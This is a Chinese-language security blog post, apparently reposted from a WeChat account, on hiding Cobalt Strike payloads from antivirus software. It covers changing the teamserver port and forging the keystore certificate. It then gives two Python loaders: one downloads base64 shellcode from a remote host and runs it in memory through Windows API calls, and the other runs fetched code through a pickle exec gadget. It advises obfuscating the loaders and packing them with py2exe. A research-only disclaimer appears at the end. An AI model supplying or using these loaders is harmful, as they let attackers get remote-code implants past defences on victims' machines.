Cobalt Strike简介
CS免杀操作
CS生成木马已经被各大杀毒软件加入病毒库,很容易被查杀,所以我们需进行一些免杀操作。首先,通过以下方法去除Cobalt Strike的特征。
一、修改默认端口
-
在teamserver中,找到server_port,将默认端口50050修改为其他端口
二、修改证书
-
使用java数据证书的管理工具Keytool,找到.store后缀的文件并删除,然后使用以下代码修改证书信息:
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=US, OU=”baidu.com“, O=“Sofatest”, L=Beijing, ST=Cyberspace, C=CN"
shellcode="xfcx48x83xe4xf0xe8xc8x00x00x00'
import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://ip/shellcode.txt').read()
shellcode = shellcode.strip()
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
import pickle
import ctypes,urllib.request,codecs,base64
sectr = urllib.request.urlopen('http://ip/loader.txt').read()
sectr = base64.b64decode(sectr).decode("utf-8")
class A(object):
def __reduce__(self):
return (exec, (sectr,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
ret_decode = base64.b64decode(ret_base64)
pickle.loads(ret_decode)
混淆后,使用py2exe打包后即可使用。
后续shellcode可分段,改流量,其他加密混淆方式大家可自行测试。
至于如何绕过win10企业版,小智大佬不让我公开,要砍你们找他去吧。
END
本文始发于微信公众号(SecTr安全团队):【技术分享】Cobalt Strike免杀操作
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论